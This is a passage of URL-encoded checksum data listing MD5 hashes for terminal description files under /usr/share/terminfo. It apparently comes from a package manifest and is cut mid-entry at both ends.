df%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbh3m%0Ad86b7b648788f9ebbc3ebd820a783f5f%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbeehive%0Ad86b7b648788f9ebbc3ebd820a783f5f%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbee%0A0fd4f409b46c1b64b12585f53941d693%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbasic4%0A1b45a752b6291b614bc502586e397616%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbantam%0A04b10aba0c78b1b1fca8dea3bb1bb329%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fb-128%0A36248b98e633b1756730ce83777c34fe%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbct510d%0A817559f6046cac7e98654602b3f9bd90%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbct510a%0Aaee085ffb07c5908285b9331ef43fa06%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-8-pc%0A86469c8b03804b4502a68b204bab12c1%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcdc721-esc%0A00260edb9c334617bb2b726475d21662%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fca22851%0Adc8e878a24071fe65bc89e5cfc318e31%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcbunix%0A379fd24949b1aa9e25b2f67c2a576b20%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcdc456%0A552f533dde681dd522e18272383ea3f5%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcdc721%0A72b3825f4cd072622d2da8646048b9ec%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcit101e-n132%0A97c7effccd8734ea05ea40572e37efa8%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcdc721ll%0A222ea63915235eb4685bd8de60eb03db%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcdc752%0Acd3b1510cc7621223fa86b8ba2067920%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcdc756%0Aafdd57b6891de4d0cd3e176e7f680aec%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcit101e%0A27c4b24224c75f66ea46d06b4994d861%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcit101e-132%0A9e4bc46228e708ab5005d9be8cef2fdc%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcit101e-n%0A3256a14326fd86287c7db7b8927a9bac%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcitoh-ps%0Aab2ca582a06646dd98403b7095c8a3e2%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcitc%0Adf7ed1641c581ef1db394aadf7c4c207%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcit101e-rv%0A6ce37f5f7dcf01c96b2e6291604ade8e%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcit500%0Af631b7a649b98d522e3b7c5bab13cb26%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcitoh-6lpi%0A7991c7d0b74efa232c44d842903366e2%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcitoh-8lpi%0Aa44a20a9d4b6d547f02d10ac8f05b2c2%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcitoh-comp%0A7c6691ad57b62396ca6cd0d8ca5ae7eb%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcitoh-elite%0Aec5560a3a10f79033d53159ce466c11e%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcitoh-pica%0A0e5636ec130a35388cf60a7b2df37d19%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcs10-w%0A226f491d100ccdd8898cedcb0c900042%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fct8500%0A05b8dabd73b881489ec5a3ce7807e84d%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fctrm%0A2f4ca4f5504d9478a0e9b486565e3a19%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcygwin%0A5c553b92bcc1ca53ce52bec103df721f%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2FcygwinB19%0A53a92447e0cb22a103a026f091bef91c%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcyb83%0A8749072f405c1c3f518f1b39cbf8790d%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcyb110%0A70132ceb225339cbc246c6c65fbc240f%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fct82%0Ac827f8e5252ff13555aff832649189f1%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcrt-vt220%0Ac827f8e5252ff13555aff832649189f1%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcrt%0Ac471ec9b36aa0577f686a55047fce02c%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcops-10%0Ac471ec9b36aa0577f686a55047fce02c%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcops10%0A25c4383047c9f12ef8b07d2b22f9b2b5%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons60r%0Ac471ec9b36aa0577f686a55047fce02c%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcops%0A556fc4c07601accb7847db929bd1452e%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons60r-m%0A99688468b09731765d7f9ce9fcd0aae9%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcs10%0A556fc4c07601accb7847db929bd1452e%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons60-koi8r-m%0Ad9d92138c6cc1c98752ae405230f1713%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons60l1-m%0A139bfcd520ac00325acd1e52ba5b340f%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcx%0A25c4383047c9f12ef8b07d2b22f9b2b5%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons60-koi8r%0Ad9d92138c6cc1c98752ae405230f1713%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons60-iso-m%0A7578a6e684906901b005d46ec66bb18e%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons60l1%0A24e3dd107f170d3e9d51c35cebb2a64b%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcci%0A7578a6e684906901b005d46ec66bb18e%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons60-iso%0Abd4b1c1c7d0afb241278e7ffc50a214d%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons50r-m%0A24e3dd107f170d3e9d51c35cebb2a64b%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcci1%0Abd4b1c1c7d0afb241278e7ffc50a214d%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons50-koi8r-m%0Ad5811859e157096da7650d853752af90%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons50r%0A6c416089f24d8dcc2f5cd4d8846be827%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons50l1%0Ad5811859e157096da7650d853752af90%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons50-koi8r%0Ac6e323d116b148577dcbba3e4a44826e%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons50l1-m%0Ac1453cc50be8acc8f700ad4ce0422cfd%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcgc3%0A6c416089f24d8dcc2f5cd4d8846be827%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons50-iso8859%0Ac6e323d116b148577dcbba3e4a44826e%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons50-iso-m%0A324e39ea8b55695c3d93de774a1cbc47%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25r-m%0A77a184aa02f6a3f02e553134b7f7aedc%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcgc2%0A324e39ea8b55695c3d93de774a1cbc47%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25-koi8r-m%0A3aa3104d6a481c8ed18242f19b610477%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25r%0A95676112ca6b381e5f5c95146680de9e%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25l1%0A3aa3104d6a481c8ed18242f19b610477%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25-koi8-r%0Ad2bf430ef641292b1646a971f9b40521%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25l1-m%0Afee0419a1c7f3154643749c0e55158c5%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc301%0A95676112ca6b381e5f5c95146680de9e%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25-iso8859%0Ad2bf430ef641292b1646a971f9b40521%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25-iso-m%0A139bfcd520ac00325acd1e52ba5b340f%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcx100%0Afee0419a1c7f3154643749c0e55158c5%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc321%0A99688468b09731765d7f9ce9fcd0aae9%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcolorscan%0Af1995e6aa6b209bb1203372cd0f26402%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcoherent%0A139bfcd520ac00325acd1e52ba5b340f%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcolor_xterm%0A6dee873c603ddef71bba2386a3cd9d6a%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcoco3%0A1c38420ab98712d3ed30c5ef5299cc60%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc108-w-8p%0A3256a14326fd86287c7db7b8927a9bac%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcitoh-prop%0A3b271a6c54821d735f3b5d330dae4533%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcit80%0Aab2ca582a06646dd98403b7095c8a3e2%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcit101%0A3b271a6c54821d735f3b5d330dae4533%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcit-80%0A3ba2f8a6e261710cf1f8c079ffe9e761%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fchromatics%0A3ba2f8a6e261710cf1f8c079ffe9e761%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcg7900%0A255f9fb96e5c5a2c0adf439e580b3b3d%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcbblit%0Afee0419a1c7f3154643749c0e55158c5%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcontel301%0Ac1453cc50be8acc8f700ad4ce0422cfd%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcad68-3%0A77a184aa02f6a3f02e553134b7f7aedc%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcad68-2%0Afee0419a1c7f3154643749c0e55158c5%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcontel321%0Ac5aeb84ce5e37950cfa8322b5114f878%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcontel300%0Ac5aeb84ce5e37950cfa8322b5114f878%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcontel320%0Ac7eac19efa607b6c83ae846ef87cebcc%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc108%0Ac5aeb84ce5e37950cfa8322b5114f878%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc300%0A1c38420ab98712d3ed30c5ef5299cc60%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fconcept108-w-8%0A1c38420ab98712d3ed30c5ef5299cc60%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fconcept108-w8p%0A6eb95c1efcd3062358022475a1df3d12%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc100%0A1c38420ab98712d3ed30c5ef5299cc60%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc108-w%0A84e6ad07dc34a6193ae3a5fd6aeada61%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fconcept108rv4p%0A84e6ad07dc34a6193ae3a5fd6aeada61%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc108-rv-4p%0A82f041072ef2de47f2d493350414316c%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc108-rv-8p%0A82f041072ef2de47f2d493350414316c%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc108-rv%0A13bca5a99e5e3a92f3fd81023ac407d8%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fconcept108-4p%0A13bca5a99e5e3a92f3fd81023ac407d8%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc108-4p%0Ac7eac19efa607b6c83ae846ef87cebcc%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc108-8p%0Ac7eac19efa607b6c83ae846ef87cebcc%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fconcept108%0Ac7eac19efa607b6c83ae846ef87cebcc%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fconcept108-8p%0A0e7371dfcf67ef1874be7531b62b3e54%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc100-rv-4p%0A0e7371dfcf67ef1874be7531b62b3e54%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fconcept100-rv%0A0e7371dfcf67ef1874be7531b62b3e54%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc100-rv%0A8b7b685d562de210ce136c7efe2893bc%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc100-1p%0A6eb95c1efcd3062358022475a1df3d12%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc100-4p%0A6eb95c1efcd3062358022475a1df3d12%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fc104%0A6eb95c1efcd3062358022475a1df3d12%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fconcept%0A6eb95c1efcd3062358022475a1df3d12%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fconcept100%0A04b10aba0c78b1b1fca8dea3bb1bb329%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcommodore%0Aa1bea123021b7053fdb23f99a02a6ed7%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fconcept-avt%0A58cbd447d280085c7c563957b824a522%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons60-m%0A8e7c12b2074cafb59d1986053e5eb6c0%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons60%0Ade2422a6231b515d23ffa08957d7d150%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons50-m%0A1b61e01cbac5139f8370c07cb01a0d41%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons50%0A0f0e0e7110973a8dabc9fc275029b5af%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons43-m%0A8218f0ef537ccf0b37437c9128f4921f%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons43%0Aa04c1508afbd5a24d7ad328612f33983%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons30-m%0A57a3d3b58f0b0e7b1dd51e9f49536f96%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons30%0Aabdef3bdc8c25070458210680a65039b%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25w%0A52b1a856fa660264f339078b4215cc58%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25-m%0Aa95f7fe2156e398aeadd836bf7083a8a%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcons25%0A080f205cb6ffc148b233b5f93af6ec17%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fcitoh%0A080f205cb6ffc148b233b5f93af6ec17%20%20%2Fusr%2Fshare%2Fterminfo%2Fc%2Fci8510%0Aac8e550071c624d1f96167c53a1725e8%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd217-unix-25%0A6e510daac9250f9defa5e278b4f70daf%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd217-unix%0Af71f1a1fbd352b7211d80d2c7e9f0254%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd555-7b-w%0A595dbf570ffdf7a5943677e5dfa7d621%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd220%0Acc8319fe2e0a8ce4a77a5346ced06647%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd220-7b%0Ab4c8c7738d8c6640d771ee9f4cc2b099%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd220-dg%0A12a346ecea374eeef89c72b2edc32284%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd555%0A08e965d9dcebb8a0b1b83cee4bcccdca%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd555-7b%0A118daf76aad8113564b3ec240cbfda80%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd577-7b-w%0A8110a038d2cbf468b23e9505ddfa3692%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd555-dg%0Ae86c25b60cf47097621c034ad966cee7%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd555-w%0A02836595e6e04cc0c008103a7e6e4c34%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd577%0A6e8156093c9a0809f5524f948ecb17c9%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd577-7b%0Abc6877fc53e025b013e3f2e37150bbf3%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdec-vt100%0A559d00aa9625d0bd876bba367c7e3261%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd577-w%0Ac5ad679b8003c4d1b155a4ba799e9091%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd578%0Afb99982385ea3b7cd3d422cbf21fdb7e%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd578-7b%0A2376a9330810e60063195f76ace5a78e%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd800%0A506faf5d2f17787896841d2efb37c03a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdgmode%2Bcolor%0Aafef4c566ac68dd41fc4d39798cd6573%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdec-vt220%0A7714454fb3c13dd062696a727f712a4e%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg%2Bccc%0Aa7dcace1a93a4bd4e6bbfd9da97891db%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg%2Bcolor%0A47cb26304fb862c013ebb0e1b6edf473%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg%2Bcolor8%0Ab563fcd66c3cb8f59741eeb0f7581619%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg%2Bfixed%0A4dc9bdd5da5fba00d94fb1557f2549be%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg-generic%0A20a347bcf5eb90ef3c41b65910772d22%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg200%0A509a5ceb012a4f0b0b79c996300c367d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg211%0A35f49c3916f234d0f638624d78bf6a77%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg460-ansi%0Ab589ae78d07402072faac53241aee632%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdgkeys%2B11%0Af4e9c5b3d267de63fafdc21ac6ec68f9%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdgkeys%2B15%0A50ac51d6ea9a74331908cd2f93338318%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdgkeys%2B7b%0A73051cea10873e368a19a9745e2db58b%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdgkeys%2B8b%0Ad2b4eff1170777e8d549bce2bf6e810f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdwk-vt%0Aac8e3b6be5e65a139331940a48c33862%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdw1%0A58b5ca2b67d10913e8fc2f34b79f7617%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdgmode%2Bcolor8%0Ae269295d20cf67bc8bf17b77aadd9253%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdgunix%2Bccc%0Abc5fe66a00b7537f9304d2b0a34149d0%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdgunix%2Bfixed%0Afdac75c638e1e2b1fa8c7829a366ae14%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdigilog%0Adf713c6495a8e28d2ee0c08e78d9ad28%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdku7003%0Ae717d0a3ed42426fd8922326f4c3fb3f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdku7003-dumb%0A714997a0fc8d7a339d00ee1b8b17f257%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdku7102-old%0Aac121a4c594b80582dff8eb9cc26c3d3%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdku7202%0Adb5d2b7163a9b0111ea5b17bb6bf92ed%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdm3025%0A71b69fbcd52347811088c64131464a07%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdm3045%0Aa940fa350d86c2b17c0e5d343753ea80%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdmchat%0A0773aac89c843605aed5830edfdb7b76%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdmterm%0Ac31f5dcc82987fe1bcb365fb0c54bb9a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdp8242%0A3948dd1b4579bd4dacffc674f5a29731%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdt110%0A969ee1bf9821f9f22a98585f3e3d602e%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdt80-sas%0Abe674ca5b01f01276ca136b861233f0a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdtc300s%0A0f515e24b51ed55a264ee2ab19b8d9c0%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdtc382%0Ab61587c01088483e431df4d2d922d20c%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdtterm%0Aca3b114f0727da81a9b957b553a9915d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdumb%0Af01094d9710ca7ca03989e5928358d6c%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdw4%0A66da032aae9541481a13357192bb1ba1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdku7103-sna%0Ad2b4eff1170777e8d549bce2bf6e810f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdwk%0Afe7933c9af59c660981225468627a147%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdw3%0A817dc5a688e55d75d1b4c5b3b60d07cb%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdt100w%0A817dc5a688e55d75d1b4c5b3b60d07cb%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdt-100w%0Af3f523f90256372800689a08da521489%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdt100%0Af3f523f90256372800689a08da521489%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdt-100%0A31e52bf6b5bc1f0f3d5cb846ff81fc17%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdmdt80w%0A31e52bf6b5bc1f0f3d5cb846ff81fc17%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdt80w%0A49e590f84d9885b54582b2cadec75fd6%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdm80%0A31e52bf6b5bc1f0f3d5cb846ff81fc17%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdm80w%0A49e590f84d9885b54582b2cadec75fd6%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdmdt80%0A49e590f84d9885b54582b2cadec75fd6%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdt80%0Ae4b0c985b8b6561bd994bf2df7cae800%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdm1521%0Ae4b0c985b8b6561bd994bf2df7cae800%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdm1520%0Accb85d3024307ef128e0c4d7e38ff432%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo1620-m8%0Afe1a23fc16717e5a7fd1bba3018c334f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdku7102-sna%0A7218a6efce461d165d8b33d1ac5996c6%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdku7102%0A39b8c675b7dfd2410bcc5e91704602cd%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo1720%0A52abda277c6de82bf0779b719aee6aa7%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdw%0Accb85d3024307ef128e0c4d7e38ff432%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo1640-m8%0A39b8c675b7dfd2410bcc5e91704602cd%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo450%0Abb0c3a8f81851fbd37cda64af9f57b93%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo1640-lm%0A52abda277c6de82bf0779b719aee6aa7%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdw2%0A39b8c675b7dfd2410bcc5e91704602cd%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo1620%0A91ec1a4c495929f18924b56a469c7eca%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo1640%0Aa21d2790d0d66cd689c898c182832232%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fddr%0Abb0c3a8f81851fbd37cda64af9f57b93%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo-lm%0A91ec1a4c495929f18924b56a469c7eca%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo1730%0A91ec1a4c495929f18924b56a469c7eca%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo1740%0A91ec1a4c495929f18924b56a469c7eca%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo630%0A4752056a2efb10a05c384797d8babe74%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg6053-old%0A44a5a0db799f8ae7a2c35fbc41f212c6%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg6134%0Accc766f60b4606258d0c76ab863073e0%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fds40%0A91ec1a4c495929f18924b56a469c7eca%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo%0A44a5a0db799f8ae7a2c35fbc41f212c6%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg450%0A5303a3390570bd89299e6619cb76625d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdec-vt340%0A4752056a2efb10a05c384797d8babe74%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg100%0A56f863fc7f6e7d47a728a1020daab83d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg210%0A56f863fc7f6e7d47a728a1020daab83d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg-ansi%0Aaef7db7b35e7091b4bebf74aac2f0b22%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdecpro%0A6f25da1a5ac1fbf73533ffdd405f1c80%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdec-vt400%0A98f0fc8b8a44d83495e56b4d13d6f2a2%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd470%0A52abda277c6de82bf0779b719aee6aa7%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdecwriter%0Aa21d2790d0d66cd689c898c182832232%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fddr3180%0A49c0ab2278892979b56aa448323c23ec%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd410%0A5303a3390570bd89299e6619cb76625d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdec-vt330%0Accc766f60b4606258d0c76ab863073e0%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fds40-2%0A6713f9f1d473148be3ac4ec60926f860%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdelta%0A6713f9f1d473148be3ac4ec60926f860%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdd5000%0Aafa390b0d70f842bb026f0353d6745a2%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd470c-dg%0A1ad16829d5ef15f8782881753720784b%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdp3360%0A49c0ab2278892979b56aa448323c23ec%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd411%0Accc766f60b4606258d0c76ab863073e0%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdataspeed40%0A1ad16829d5ef15f8782881753720784b%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdatapoint%0Acc3990ebb9be40567568fecc8ab4a77c%20%20%